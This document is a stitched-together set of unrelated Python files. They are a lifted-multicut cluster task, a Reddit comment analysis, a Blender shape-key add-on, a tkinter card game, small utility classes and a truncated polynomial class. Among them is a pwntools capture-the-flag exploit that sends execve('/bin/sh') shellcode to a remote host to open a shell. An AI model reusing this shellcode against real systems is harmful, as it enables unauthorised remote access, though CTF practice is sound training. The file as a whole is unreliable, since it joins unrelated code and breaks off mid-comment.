#! /bin/python

import os
import sys
import json
from concurrent import futures

import numpy as np
import vigra
import luigi
import z5py
import nifty
import nifty.tools as nt
import nifty.distributed as ndist
from elf.segmentation.lifted_multicut import get_lifted_multicut_solver
from elf.segmentation.multicut import get_multicut_solver

import cluster_tools.utils.volume_utils as vu
import cluster_tools.utils.function_utils as fu
from cluster_tools.cluster_tasks import SlurmTask, LocalTask, LSFTask

#
# Lifted Multicut Tasks
#

class SolveLiftedSubproblemsBase(luigi.Task):
    """ SolveLiftedSubproblems base class
    """

    task_name = 'solve_lifted_subproblems'
    src_file = os.path.abspath(__file__)

    # input volumes and graph
    problem_path = luigi.Parameter()
    lifted_prefix = luigi.Parameter()
    scale = luigi.IntParameter()
    #
    dependency = luigi.TaskParameter()

    def requires(self):
        return self.dependency

    def clean_up_for_retry(self, block_list):
        super().clean_up_for_retry(block_list)
        # TODO remove any output of failed blocks because it might be corrupted

    @staticmethod
    def default_task_config():
        # we use this to get also get the common default config
        config = LocalTask.default_task_config()
        config.update({'agglomerator': 'kernighan-lin',
                       'time_limit_solver': None})
        return config

    def run_impl(self):
        # get the global config and init configs
        # shebang, block_shape, roi_begin, roi_end = self.global_config_values()
        shebang, block_shape, roi_begin, roi_end, block_list_path\
            = self.global_config_values(with_block_list_path=True)
        self.init(shebang)

        with vu.file_reader(self.problem_path, 'r') as f:
            shape = tuple(f['s0/graph'].attrs['shape'])

        factor = 2**self.scale
        block_shape = tuple(bs * factor for bs in block_shape)

        # update the config with input and graph paths and keys
        # as well as block shape
        config = self.get_task_config()
        config.update({'problem_path': self.problem_path, 'scale': self.scale,
                       'block_shape': block_shape, 'lifted_prefix': self.lifted_prefix})

        # make output datasets
        out_key = 's%i/sub_results_lmc' % self.scale
        with vu.file_reader(self.problem_path) as f:
            out = f.require_group(out_key)
            # NOTE, gzip may fail for very small inputs, so we use raw compression for now
            # might be a good idea to give blosc a shot ...
            out.require_dataset('cut_edge_ids', shape=shape, chunks=block_shape,
                                compression='raw', dtype='uint64')
            out.require_dataset('node_result', shape=shape, chunks=block_shape,
                                compression='raw', dtype='uint64')

        if self.n_retries == 0:
            block_list = vu.blocks_in_volume(shape, block_shape, roi_begin, roi_end,
                                             block_list_path)
        else:
            block_list = self.block_list
            self.clean_up_for_retry(block_list)

        n_jobs = min(len(block_list), self.max_jobs)
        # prime and run the jobs
        prefix = 's%i' % self.scale
        self.prepare_jobs(n_jobs, block_list, config, prefix)
        self.submit_jobs(n_jobs, prefix)

        # wait till jobs finish and check for job success
        self.wait_for_jobs()
        self.check_jobs(n_jobs, prefix)

    # part of the luigi API
    def output(self):
        return luigi.LocalTarget(os.path.join(self.tmp_folder,
                                              self.task_name + '_s%i.log' % self.scale))

class SolveLiftedSubproblemsLocal(SolveLiftedSubproblemsBase, LocalTask):
    """ SolveLiftedSubproblems on local machine
    """
    pass

class SolveLiftedSubproblemsSlurm(SolveLiftedSubproblemsBase, SlurmTask):
    """ SolveLiftedSubproblems on slurm cluster
    """
    pass

class SolveLiftedSubproblemsLSF(SolveLiftedSubproblemsBase, LSFTask):
    """ SolveLiftedSubproblems on lsf cluster
    """
    pass

#
# Implementation
#

def _find_lifted_edges(lifted_uv_ids, node_list):
    lifted_indices = np.arange(len(lifted_uv_ids), dtype='uint64')
    # find overlap of node_list with u-edges
    inner_us = np.in1d(lifted_uv_ids[:, 0], node_list)
    inner_indices = lifted_indices[inner_us]
    inner_uvs = lifted_uv_ids[inner_us]
    # find overlap of node_list with v-edges
    inner_vs = np.in1d(inner_uvs[:, 1], node_list)
    return inner_indices[inner_vs]

def _solve_block_problem(block_id, graph, uv_ids, ds_nodes,
                         costs, lifted_uvs, lifted_costs,
                         lifted_solver, solver,
                         ignore_label, blocking, out, time_limit):
    fu.log("Start processing block %i" % block_id)

    # load the nodes in this sub-block and map them
    # to our current node-labeling
    chunk_id = blocking.blockGridPosition(block_id)
    nodes = ds_nodes.read_chunk(chunk_id)
    if nodes is None:
        fu.log_block_success(block_id)
        return

    # if we have an ignore label, remove zero from the nodes
    # (nodes are sorted, so it will always be at pos 0)
    if ignore_label and nodes[0] == 0:
        nodes = nodes[1:]
        removed_ignore_label = True
        if len(nodes) == 0:
            fu.log_block_success(block_id)
            return
    else:
        removed_ignore_label = False

    # we allow for invalid nodes here,
    # which can occur for un-connected graphs resulting from bad masks ...
    inner_edges, outer_edges = graph.extractSubgraphFromNodes(nodes, allowInvalidNodes=True)

    # if we only have no inner edges, return
    # the outer edges as cut edges
    if len(inner_edges) == 0:
        if len(nodes) > 1:
            assert removed_ignore_label,\
                "Can only have trivial sub-graphs for more than one node if we removed ignore label"
        cut_edge_ids = outer_edges
        sub_result = None
        fu.log("Block %i: has no inner edges" % block_id)
    # otherwise solve the multicut for this block
    else:
        # find  the lifted uv-ids that correspond to the inner edges
        inner_lifted_edges = _find_lifted_edges(lifted_uvs, nodes)
        fu.log("Block %i: Solving sub-block with %i nodes, %i edges and %i lifted edges" % (block_id,
                                                                                len(nodes),
                                                                                len(inner_edges),
                                                                                len(inner_lifted_edges)))
        sub_uvs = uv_ids[inner_edges]
        # relabel the sub-nodes and associated uv-ids for more efficient processing
        nodes_relabeled, max_id, mapping = vigra.analysis.relabelConsecutive(nodes,
                                                                             start_label=0,
                                                                             keep_zeros=False)
        sub_uvs = nt.takeDict(mapping, sub_uvs)
        n_local_nodes = max_id + 1
        sub_graph = nifty.graph.undirectedGraph(n_local_nodes)
        sub_graph.insertEdges(sub_uvs)

        sub_costs = costs[inner_edges]
        assert len(sub_costs) == sub_graph.numberOfEdges

        # we only need to run lifted multicut if we have lifted edges in
        # the subgraph
        if len(inner_lifted_edges) > 0:
            fu.log("Block %i: have lifted edges and use lifted multicut solver" % block_id)
            sub_lifted_uvs = nt.takeDict(mapping, lifted_uvs[inner_lifted_edges])
            sub_lifted_costs = lifted_costs[inner_lifted_edges]

            # solve multicut and relabel the result
            sub_result = lifted_solver(sub_graph, sub_costs, sub_lifted_uvs, sub_lifted_costs,
                                       time_limit=time_limit)

        # otherwise we run normal multicut
        else:
            fu.log("Block %i: don't have lifted edges and use multicut solver")
            # solve multicut and relabel the result
            sub_result = solver(sub_graph, sub_costs, time_limit=time_limit)

        assert len(sub_result) == len(nodes), "%i, %i" % (len(sub_result), len(nodes))
        sub_edgeresult = sub_result[sub_uvs[:, 0]] != sub_result[sub_uvs[:, 1]]
        assert len(sub_edgeresult) == len(inner_edges)
        cut_edge_ids = inner_edges[sub_edgeresult]
        cut_edge_ids = np.concatenate([cut_edge_ids, outer_edges])

        _, res_max_id, _ = vigra.analysis.relabelConsecutive(sub_result, start_label=1,
                                                             keep_zeros=False,
                                                             out=sub_result)
        fu.log("Block %i: Subresult has %i unique ids" % (block_id, res_max_id))
        # IMPORTANT !!!
        # we can only add back the ignore label after getting the edge-result !!!
        if removed_ignore_label:
            sub_result = np.concatenate((np.zeros(1, dtype='uint64'),
                                         sub_result))

    # get chunk id of this block
    block = blocking.getBlock(block_id)
    chunk_id = tuple(beg // sh for beg, sh in zip(block.begin, blocking.blockShape))

    # serialize the cut-edge-ids and the (local) node labeling
    ds_edge_res = out['cut_edge_ids']
    fu.log("Block %i: Serializing %i cut edges" % (block_id, len(cut_edge_ids)))
    ds_edge_res.write_chunk(chunk_id, cut_edge_ids, True)

    if sub_result is not None:
        ds_node_res = out['node_result']
        fu.log("Block %i: Serializing %i node results" % (block_id, len(sub_result)))
        ds_node_res.write_chunk(chunk_id, sub_result, True)

    fu.log_block_success(block_id)

def solve_lifted_subproblems(job_id, config_path):

    fu.log("start processing job %i" % job_id)
    fu.log("reading config from %s" % config_path)

    # get the config
    with open(config_path) as f:
        config = json.load(f)
    # input configs
    problem_path = config['problem_path']
    scale = config['scale']
    block_shape = config['block_shape']
    block_list = config['block_list']

    lifted_prefix = config['lifted_prefix']
    agglomerator_key = config['agglomerator']
    time_limit = config.get('time_limit_solver', None)
    n_threads = config.get('threads_per_job', 1)

    fu.log("reading problem from %s" % problem_path)
    problem = z5py.N5File(problem_path)

    # load the costs
    # NOTE we use different cost identifiers for multicut and lifted multicut
    # in order to run both in the same n5-container.
    # However, for scale level 0 the costs come from the CostsWorkflow and
    # hence the identifier is identical
    costs_key = 's%i/costs_lmc' % scale if scale > 0 else 's0/costs'
    fu.log("reading costs from path in problem: %s" % costs_key)
    ds = problem[costs_key]
    ds.n_threads = n_threads
    costs = ds[:]

    # load the graph
    # NOTE we use different graph identifiers for multicut and lifted multicut
    # in order to run both in the same n5-container.
    # However, for scale level 0 the graph comes from the GraphWorkflow and
    # hence the identifier is identical
    graph_key = 's%i/graph_lmc' % scale if scale > 0 else 's0/graph'
    shape = problem[graph_key].attrs['shape']

    fu.log("reading graph from path in problem: %s" % graph_key)
    graph = ndist.Graph(problem_path, graph_key, numberOfThreads=n_threads)
    uv_ids = graph.uvIds()
    # check if the problem has an ignore-label
    ignore_label = problem[graph_key].attrs['ignore_label']
    fu.log("ignore label is %s" % ('true' if ignore_label else 'false'))

    fu.log("using agglomerator %s" % agglomerator_key)
    lifted_solver = get_lifted_multicut_solver(agglomerator_key)
    # TODO enable different multicut agglomerator
    solver = get_multicut_solver(agglomerator_key)

    # load the lifted edges and costs
    nh_key = 's%i/lifted_nh_%s' % (scale, lifted_prefix)
    lifted_costs_key = 's%i/lifted_costs_%s' % (scale, lifted_prefix)
    ds = problem[nh_key]
    fu.log("reading lifted uvs")
    ds.n_threads = n_threads
    lifted_uvs = ds[:]

    fu.log("reading lifted costs")
    ds = problem[lifted_costs_key]
    ds.n_threads = n_threads
    lifted_costs = ds[:]

    # the output group
    out = problem['s%i/sub_results_lmc' % scale]

    # NOTE we use different sub-graph identifiers for multicut and lifted multicut
    # in order to run both in the same n5-container.
    # However, for scale level 0 the sub-graphs come from the GraphWorkflow and
    # are hence identical
    sub_graph_identifier = 'sub_graphs' if scale == 0 else 'sub_graphs_lmc'
    ds_nodes = problem['s%i/%s/nodes' % (scale, sub_graph_identifier)]
    blocking = nt.blocking([0, 0, 0], shape, list(block_shape))

    fu.log("start processsing %i blocks" % len(block_list))
    with futures.ThreadPoolExecutor(n_threads) as tp:
        tasks = [tp.submit(_solve_block_problem,
                           block_id, graph, uv_ids, ds_nodes,
                           costs, lifted_uvs, lifted_costs,
                           lifted_solver, solver, ignore_label,
                           blocking, out, time_limit)
                 for block_id in block_list]
        [t.result() for t in tasks]

    fu.log_job_success(job_id)

if __name__ == '__main__':
    path = sys.argv[1]
    assert os.path.exists(path), path
    job_id = int(os.path.split(path)[1].split('.')[0].split('_')[-1])
    solve_lifted_subproblems(job_id, path)


from multiprocessing import context
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# p=process('./pwn')

p=remote('t.ctf.qwq.cc',49468)
pause()
elf=ELF('./pwn')
context.arch ='amd64'
context.bits=64

shellcode=asm('push 0x68;mov rax ,0x68732f6e69622f;push rax;mov rdi,rsp;xor rsi, rsi;xor rdx, rdx;xor rax,rax;add rax,0x3b;syscall')
p.recvuntil(b'Do u know what\'s is it?\n')
payload=shellcode.ljust(0x38,b'a')+b'\x2a'
# payload=b'a'*0x30#+p64(0x7ffdadf3ddf0)
p.send(payload)
p.interactive()


import episodes
import praw
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

comments_dict = {
    'comment_id': [],
    'comment' : [],
    'Upvotes_Comment' : [],
    'author' : []
    }
reddit = episodes.reddit

submission = reddit.submission(id=episodes.episodes[-2])
submission.comments.replace_more(limit=None)
for h in submission.comments:
    comments_dict['comment_id'].append(h.id)
    comments_dict['comment'].append(h.body)
    comments_dict['Upvotes_Comment'].append(h.ups)
    comments_dict['author'].append(h.author)

queen_comments = pd.DataFrame(comments_dict)
queens = {'aiden': [], 'sherry': [], 'brita': [], 'heidi': [], 'gigi': [], 'jackie': [], 'widow': [], 'nicky': [], 'crystal': [], 'jaida': [], 'rock m': [], 'dahlia': [], 'jan': []}
queens_copy = queens.copy()
for queen in queens:
    for comment in queen_comments.comment:
        if queen in comment.lower():
            queens[queen].append(1)
        else:
            queens[queen].append(0)

queens_only = pd.DataFrame(queens)[['aiden', 'sherry', 'brita', 'heidi', 'gigi', 'jackie', 'widow', 'nicky',
       'crystal', 'jaida', 'rock m', 'dahlia', 'jan']]

# Plot of the most talked about queens
queens_only.sum().sort_values(ascending=False).plot(kind='bar')

# Let's see which queens appeared together
for queen in queens_copy:
    for comment in queen_comments.comment:
        if queen in comment.lower():
            queens_copy[queen].append(queen)
        else:
            queens_copy[queen].append(0)
queens_copy = pd.DataFrame(queens_copy)
grouped = []
def groupy(a):
    return list(filter(lambda a: a != 0, a))
for i in queens_copy.iterrows():
        grouped.append(groupy(i[1].to_list()))

queens_copy['grouped'] = [None if len(x)==0 else x for x in grouped]

# we can see which queens are being talked about together
queens_copy['grouped'].apply(lambda x: x if (x is not None and len(x) > 1) else None).value_counts().head(6).plot(kind='bar')


from collections import namedtuple, defaultdict
import numpy as np
import bmesh
import bpy

from ..math import get_dist_sq
from ..log import log, logd
from ..helpers import get_context, get_modifier_mask

# shape_key_apply_modifiers TODO:
# - Specialcase more merging modifiers, solidify for example
# - Transfer vertex order. Is it still necessary if all merging modifiers are covered?
#   Is it possible to identify which face went where without guessing?

class ShapeKeyInfo(namedtuple('ShapeKeyInfo', ['coords', 'interpolation', 'mute', 'name',
    'slider_max', 'slider_min', 'value', 'vertex_group'])):
    __slots__ = ()

    """Helper to preserve shape key information."""

    @classmethod
    def from_shape_key_with_empty_data(cls, shape_key):
        return cls(
            coords=np.empty(0, dtype=np.single),
            interpolation=shape_key.interpolation,
            mute=shape_key.mute,
            name=shape_key.name,
            # relative_key=shape_key.relative_key.name,
            slider_max=shape_key.slider_max,
            slider_min=shape_key.slider_min,
            value=shape_key.value,
            vertex_group=shape_key.vertex_group,
        )

    @classmethod
    def from_shape_key(cls, shape_key):
        info = cls.from_shape_key_with_empty_data(shape_key)
        info.get_coords_from(shape_key.data)
        return info

    def get_coords_from(self, vertices):
        self.coords.resize(len(vertices) * 3, refcheck=False)
        vertices.foreach_get('co', self.coords)

    def put_coords_into(self, vertices):
        vertices.foreach_set('co', self.coords)

def weld_mesh(mesh, weld_map):
    """Welds mesh vertices according to a source index to destination index weld map."""

    bm = bmesh.new()
    bm.from_mesh(mesh)
    bm.verts.ensure_lookup_table()
    targetmap = {bm.verts[src_idx]: bm.verts[dst_idx] for src_idx, dst_idx in weld_map.items()}
    bmesh.ops.weld_verts(bm, targetmap=targetmap)
    bm.to_mesh(mesh)
    bm.free()

def apply_modifier(modifier):
    try:
        bpy.ops.object.modifier_apply(get_context(modifier.id_data), modifier=modifier.name)
    except RuntimeError:
        logd(f"Couldn't apply {modifier.type} modifier {modifier.name}")

class ModifierHandler:
    """Subclass this to define special behavior when applying different modifiers."""

    modifier_type = None
    modifier_name = None

    def __init__(self, modifier):
        self.modifier_name = modifier.name

    @classmethod
    def poll(cls, modifier):
        return cls.modifier_type is None or modifier.type == cls.modifier_type

    def apply(self, obj):
        apply_modifier(obj.modifiers[self.modifier_name])

class MirrorModifierHandler(ModifierHandler):
    modifier_type = 'MIRROR'
    weld_map = None  # Specifies vertex pairs to be welded

    def __init__(self, modifier):
        super().__init__(modifier)
        self.merge_dist = modifier.merge_threshold
        self.num_mirrors = sum(modifier.use_axis)

    @classmethod
    def poll(cls, modifier):
        return super().poll(modifier) and modifier.use_mirror_merge and any(modifier.use_axis)

    def apply(self, obj):
        modifier = obj.modifiers[self.modifier_name]

        modifier.use_mirror_merge = False
        bpy.ops.object.modifier_apply(get_context(obj), modifier=modifier.name)

        if not self.weld_map:
            self.fill_weld_map(obj)
        weld_mesh(obj.data, self.weld_map)

    def fill_weld_map(self, obj):
        mesh = obj.data
        num_verts = len(mesh.vertices) // (2 ** self.num_mirrors)  # Num of verts before mirroring
        merge_dist_sq = self.merge_dist ** 2

        # Only consider pairs of mirrored vertices for merging. Probably breaks if flip is enabled
        welds = []
        for n in range(self.num_mirrors):
            num_part_verts = num_verts * (2 ** n)

            new_welds = []
            for src_idx, dst_idx in welds:
                new_welds.append((src_idx + num_part_verts, dst_idx + num_part_verts))
            welds.extend(new_welds)

            for vert_idx in range(num_part_verts):
                vert = mesh.vertices[vert_idx]
                other_vert_idx = vert_idx + num_part_verts
                other_vert = mesh.vertices[other_vert_idx]
                if get_dist_sq(vert.co, other_vert.co) <= merge_dist_sq:
                    welds.append((other_vert_idx, vert_idx))

        # Resolve the welds into a single dict. Not too robust but weld_verts doesn't complain
        self.weld_map = weld_map = {}
        weld_map_reverse = defaultdict(list)
        for src_idx, dst_idx in welds:
            dst_idx = weld_map.get(dst_idx, dst_idx)
            weld_map[src_idx] = dst_idx
            old_idxs = weld_map_reverse.get(src_idx, [])
            for old_idx in old_idxs:
                weld_map[old_idx] = dst_idx
                weld_map_reverse[dst_idx].append(old_idx)
            weld_map_reverse[dst_idx].append(src_idx)

class WeldModifierHandler(ModifierHandler):
    modifier_type = 'WELD'
    weld_map = None  # Specifies vertex pairs to be welded

    def __init__(self, modifier):
        super().__init__(modifier)
        self.merge_dist = modifier.merge_threshold
        self.vertex_group = modifier.vertex_group
        self.invert_vertex_group = modifier.invert_vertex_group

    @classmethod
    def poll(cls, modifier):
        return super().poll(modifier) and modifier.mode == 'ALL'

    def apply(self, obj):
        modifier = obj.modifiers[self.modifier_name]

        bpy.ops.object.modifier_remove(get_context(obj), modifier=modifier.name)

        if not self.weld_map:
            self.fill_weld_map(obj)
        weld_mesh(obj.data, self.weld_map)

    def fill_weld_map(self, obj):
        mesh = obj.data
        vg = obj.vertex_groups.get(self.vertex_group)
        invert = self.invert_vertex_group

        bm = bmesh.new()
        bm.from_mesh(mesh)
        bm.verts.ensure_lookup_table()
        deform_layer = bm.verts.layers.deform.active
        if deform_layer and vg:
            # Handle vertex group filtering
            verts = [v for v in bm.verts if bool(v[deform_layer].get(vg.index, 0.0)) != invert]
        else:
            verts = bm.verts
        targetmap = bmesh.ops.find_doubles(bm, verts=verts, dist=self.merge_dist)['targetmap']
        self.weld_map = {src.index: dst.index for src, dst in targetmap.items()}
        bm.free()

modifier_handler_classes = (
    MirrorModifierHandler,
    WeldModifierHandler,
    ModifierHandler,
)

# Incomplete map of modifier type to icon
modifier_icons = {
    'DATA_TRANSFER': 'MOD_DATA_TRANSFER',
    'MESH_CACHE': 'MOD_MESHDEFORM',
    'MESH_SEQUENCE_CACHE': 'MOD_MESHDEFORM',
    'NORMAL_EDIT': 'MOD_NORMALEDIT',
    'WEIGHTED_NORMAL': 'MOD_NORMALEDIT',
    'UV_PROJECT': 'MOD_UVPROJECT',
    'UV_WARP': 'MOD_UVPROJECT',
    'VERTEX_WEIGHT_EDIT': 'MOD_VERTEX_WEIGHT',
    'VERTEX_WEIGHT_MIX': 'MOD_VERTEX_WEIGHT',
    'VERTEX_WEIGHT_PROXIMITY': 'MOD_VERTEX_WEIGHT',

    'ARRAY': 'MOD_ARRAY',
    'BEVEL': 'MOD_BEVEL',
    'BOOLEAN': 'MOD_BOOLEAN',
    'BUILD': 'MOD_BUILD',
    'DECIMATE': 'MOD_DECIM',
    'EDGE_SPLIT': 'MOD_EDGESPLIT',
    'NODES': 'NODETREE',
    'MASK': 'MOD_MASK',
    'MIRROR': 'MOD_MIRROR',
    'MULTIRES': 'MOD_MULTIRES',
    'REMESH': 'MOD_REMESH',
    'SCREW': 'MOD_SCREW',
    'SKIN': 'MOD_SKIN',
    'SOLIDIFY': 'MOD_SOLIDIFY',
    'SUBSURF': 'MOD_SUBSURF',
    'TRIANGULATE': 'MOD_TRIANGULATE',
    'VOLUME_TO_MESH': 'VOLUME_DATA',
    'WELD': 'AUTOMERGE_OFF',
    'WIREFRAME': 'MOD_WIREFRAME',

    'ARMATURE': 'MOD_ARMATURE',
    'CAST': 'MOD_CAST',
    'CURVE': 'MOD_CURVE',
    'DISPLACE': 'MOD_DISPLACE',
    'HOOK': 'HOOK',
    'LAPLACIANDEFORM': 'MOD_MESHDEFORM',
    'LATTICE': 'MOD_LATTICE',
    'MESH_DEFORM': 'MOD_MESHDEFORM',
    'SHRINKWRAP': 'MOD_SHRINKWRAP',
    'SIMPLE_DEFORM': 'MOD_SIMPLEDEFORM',
    'SMOOTH': 'MOD_SMOOTH',
    'CORRECTIVE_SMOOTH': 'MOD_SMOOTH',
    'LAPLACIANSMOOTH': 'MOD_SMOOTH',
    'SURFACE_DEFORM': 'MOD_MESHDEFORM',
    'WARP': 'MOD_WARP',
    'WAVE': 'MOD_WAVE',
}

ignored_modifier_types = frozenset((
    'CLOTH',
    'COLLISION',
    'DYNAMIC_PAINT',
    'EXPLODE',
    'FLUID',
    'OCEAN',
    'PARTICLE_INSTANCE',
    'PARTICLE_SYSTEM',
    'SOFT_BODY',
))

class GRET_OT_shape_key_apply_modifiers(bpy.types.Operator):
    """Applies viewport modifiers while preserving shape keys"""

    bl_idname = "gret.shape_key_apply_modifiers"
    bl_label = "Apply Modifiers with Shape Keys"
    bl_context = "objectmode"
    bl_options = {'REGISTER', 'UNDO'}

    modifier_mask: bpy.props.BoolVectorProperty(
        name="Apply Modifier",
        description="Whether this modifier should be applied",
        size=32,  # Maximum allowed by Blender, will need some hack if more are required
        default=[True] * 32,
    )

    modifier_info = []  # Only used to draw buttons when operator is invoked

    @classmethod
    def poll(cls, context):
        return context.mode == 'OBJECT' and context.object and context.object.type == 'MESH'

    def draw(self, context):
        layout = self.layout
        layout.ui_units_x = 10.0
        obj = context.object

        layout.label(text="Select modifiers to apply:")

        col = layout.column(align=True)
        for modifier_index, (modifier_type, modifier_name) in enumerate(self.modifier_info):
            if modifier_type in ignored_modifier_types:
                continue

            icon = modifier_icons.get(modifier_type, 'BLANK1')
            col.prop(self, 'modifier_mask', index=modifier_index, icon=icon, text=modifier_name)

    def invoke(self, context, event):
        obj = context.object

        # Cache modifier info to be shown on panel. Otherwise redo_last won't work correctly
        # Side note: the displayed icon for show_viewport is hardcoded to change when toggled on
        def should_apply_modifier(mod):
            return (mod.show_viewport
                and mod.type not in ignored_modifier_types
                and mod.type != 'ARMATURE')  # Don't apply armatures by default
        self.modifier_info = [(mod.type, mod.name) for mod in obj.modifiers]
        self.modifier_mask = get_modifier_mask(obj, should_apply_modifier)

        return context.window_manager.invoke_props_dialog(self)

    def execute(self, context):
        obj = context.active_object

        if not any(self.modifier_mask[:len(obj.modifiers)]):
            # There are no modifiers to apply
            return {'FINISHED'}

        if obj.data.users > 1:
            # Make single user copy
            obj.data = obj.data.copy()

        num_shape_keys = len(obj.data.shape_keys.key_blocks) if obj.data.shape_keys else 0
        if not num_shape_keys:
            # No shape keys, just apply the modifiers
            for modifier, mask in zip(obj.modifiers[:], self.modifier_mask):
                if mask:
                    apply_modifier(modifier)
            return {'FINISHED'}

        print(f"Applying modifiers with {num_shape_keys} shape keys")
        mesh_copy = obj.data.copy()  # Copy for convenience, to be able to call from_existing(fcurve)
        shape_keys = obj.data.shape_keys.key_blocks if obj.data.shape_keys else []
        shape_key_infos = []
        saved_active_shape_key_index = obj.active_shape_key_index
        saved_show_only_shape_key = obj.show_only_shape_key

        # Start by separating each shape key so modifiers can be applied one by one
        shape_key_objs = []
        for shape_key in shape_keys:
            shape_key_info = ShapeKeyInfo.from_shape_key(shape_key)
            shape_key_infos.append(shape_key_info)

            new_obj = obj.copy()
            new_obj.name = f"{obj.name}_{shape_key.name}"
            new_obj.data = obj.data.copy()
            shape_key_objs.append(new_obj)

        # Handle modifiers accordingly. This means recording welded vertex pairs for mirrors and such
        obj.shape_key_clear()
        modifier_handlers = []
        for modifier, mask in zip(obj.modifiers[:], self.modifier_mask):
            if mask:
                for modifier_handler_cls in modifier_handler_classes:
                    if modifier_handler_cls.poll(modifier):
                        modifier_handler = modifier_handler_cls(modifier)
                        modifier_handler.apply(obj)
                        modifier_handlers.append(modifier_handler)
                        break

        # Store vertex coordinates of each shape key with modifiers applied
        for sk_info, sk_obj in zip(shape_key_infos, shape_key_objs):
            sk_mesh = sk_obj.data
            sk_obj.shape_key_clear()
            sk_info.put_coords_into(sk_mesh.vertices)
            for modifier_handler in modifier_handlers:
                modifier_handler.apply(sk_obj)
            sk_info.get_coords_from(sk_mesh.vertices)

            bpy.data.objects.remove(sk_obj)
            bpy.data.meshes.remove(sk_mesh)

        # Add the shape keys back
        for shape_key_info in shape_key_infos:
            shape_key = obj.shape_key_add()
            shape_key.interpolation = shape_key_info.interpolation
            shape_key.mute = shape_key_info.mute
            shape_key.name = shape_key_info.name
            shape_key.slider_max = shape_key_info.slider_max
            shape_key.slider_min = shape_key_info.slider_min
            shape_key.value = shape_key_info.value
            shape_key.vertex_group = shape_key_info.vertex_group
            if len(shape_key.data) * 3 != len(shape_key_info.coords):
                self.report({'ERROR'}, f"Vertex count for {shape_key.name} did not match, "
                    "the shape key will be lost.")
                continue
            shape_key_info.put_coords_into(shape_key.data)

        # Recreate drivers
        if mesh_copy.shape_keys and mesh_copy.shape_keys.animation_data:
            for fcurve in mesh_copy.shape_keys.animation_data.drivers:
                if obj.data.shape_keys.animation_data is None:
                    obj.data.shape_keys.animation_data_create()
                obj.data.shape_keys.animation_data.drivers.from_existing(src_driver=fcurve)

        # Clean up
        obj.show_only_shape_key = saved_show_only_shape_key
        obj.active_shape_key_index = saved_active_shape_key_index
        bpy.data.meshes.remove(mesh_copy)

        return {'FINISHED'}

def draw_menu(self, context):
    self.layout.operator(GRET_OT_shape_key_apply_modifiers.bl_idname, icon='CHECKMARK')

def register(settings, prefs):
    bpy.utils.register_class(GRET_OT_shape_key_apply_modifiers)
    bpy.types.MESH_MT_shape_key_context_menu.append(draw_menu)

def unregister():
    bpy.types.MESH_MT_shape_key_context_menu.remove(draw_menu)
    bpy.utils.unregister_class(GRET_OT_shape_key_apply_modifiers)


from tkinter import *
from tkinter.messagebox import showinfo, showerror

import random

cards = {"shown": random.randint(1, 13), "secret": random.randint(1, 13)}

window = Tk()
window.title("High-Low Card Game")
window.geometry("300x100")

Label(window, text="The shown card is, ").grid(row=0, column=0)
shown_card_label = Label(window, text=cards["shown"])
shown_card_label.grid(row=0, column=1)
Label(window, text="Is the next one going to be higher or lower?").grid(
    row=1, column=0, columnspan=2
)

def clicked(chosen):
    correct_high = chosen == "higher" and cards["secret"] > cards["shown"]
    correct_low = chosen == "lower" and cards["secret"] < cards["shown"]

    if correct_high or correct_low:
        showinfo(message=f"you WON! the hidden card was {cards['secret']}")
    else:
        showerror(message=f"you LOST! the hidden card was {cards['secret']}")

    cards["shown"] = cards["secret"]
    cards["secret"] = random.randint(1, 13)
    shown_card_label.configure(text=cards["shown"])

Button(
    window, text="Lower", command=lambda: clicked("lower"), background="green3"
).grid(row=2, column=0)
Button(
    window, text="Higher", command=lambda: clicked("higher"), background="red3"
).grid(row=2, column=1)

def on_closing():
    if showinfo(message="Thank you for playing, goodbye :)"):
        window.destroy()

window.protocol("WM_DELETE_WINDOW", on_closing)
window.mainloop()


'''
Created on Apr 29, 2014

@author: oliwa
'''

class DataHolderForDirectOutput(object):
    '''
    Holds the direct results data from the NMAUnified that is to be outputted.
    '''

    def __init__(self, protein1_A_name):
        '''
        Constructor
        Args:
            protein1_A_name: the name of the protein1_A_name
        '''
        self.protein1_A_name = protein1_A_name
        # whole references to the direct data
        RMSD_unbound_to_superposed_bound = None
        RMSDReductionsWhole = None
        overlapTApproxWhole = None
        stepPointsReductionWhole = None
        overlapArrayWhole = None
        cumulOverlapWholePrody = None
        collectivityArrayWhole = None
        correlationArrayWhole = None
        # interface references to the direct data
        RMSD_interface = None
        RMSDReductionsInterface = None
        overlapTApproxInterface = None
        stepPointsReductionInterface = None
        overlapArrayInterface = None
        cumulOverlapInterfacePrody = None
        collectivityArrayInterface = None
        correlationArrayInterface = None
        # distance measures (I-rms, ligand-rms)
        counterpart_rms = None
        L_rms = None
        I_rms_before_align = None
        I_rms_after_align = None
        # L_RMS reduction
        L_RMSReductions = None
        L_RMSD_unbound_to_superposed_bound = None
        # pdbs
        reference = None
        mobile = None
        unboundCounterpart = None
        boundCountertpart = None
        unboundComplex = None
        boundComplex = None
        refChain = None
        refChainInterface = None
        mobChain = None
        mobChainInterface = None
        unboundCounterpartChain = None
        unboundCounterpartChainInterface = None
        boundCounterpartChain = None
        boundCounterpartChainInterface = None
        unboundComplexAlignedChain = None
        unboundComplexChainInterface = None
        boundComplexChain = None
        boundComplexChainInterface = None
        #overlap of Marray superset
        singleModeOverlapsFromSuperset = None
        deformationSnapshots = None
        #lambdaR for complex
        indicesOfLambdaRSorting = None


class hamming():
    def dystans(self,a, b):
        if type(a) != str or type(b) != str:
            raise ValueError("a lub b nie jest str")
        if len(a) != len(b):
            raise ValueError("dlugosc a nie rowna dlugosci b")
        wynik = 0
        for i in range(len(b)):
            if a[i] != b[i]:
                wynik += 1
        return wynik


from itertools import permutations

vowels = ["а"]
consonants = ["б", "т", "с"]
result = set()

for index, i in enumerate(permutations("аббатиса")):
    correct = True
    for symbol_index in range(0, len(i) - 1):
        if (i[symbol_index] in vowels and i[symbol_index + 1] in vowels) or \
                (i[symbol_index] in consonants and i[symbol_index + 1] in consonants):
            correct = False
            break
    if correct:
        result.add(i)

print(len(result))


class Poly:

    def __init__(self,*terms):
        # __str__ uses the name self.terms for the dictionary of terms
        # So __init__ should build this dictionary from terms
        self.terms = {}
        if terms:
            for term in terms:
                power = term[1]
                coeff = term[0]
                if type(coeff) in (int, float) and (type(power) == int and power >= 0):
                    if power in self.terms and coeff != 0:
                        raise AssertionError('Poly.__init__: same power cannot appear as later term')
                    elif coeff == 0:
                        pass
                    else:
                        self.terms[power] = coeff
                else:
                    raise AssertionError

        # Fill in the rest of this method, using *terms to intialize self.terms

    # I have written str(...) because it is used in the bsc.txt file and
